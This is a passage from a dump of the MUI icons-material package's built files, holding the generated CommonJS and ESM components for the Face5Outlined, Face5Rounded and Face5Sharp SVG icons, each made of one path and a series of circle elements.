0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: 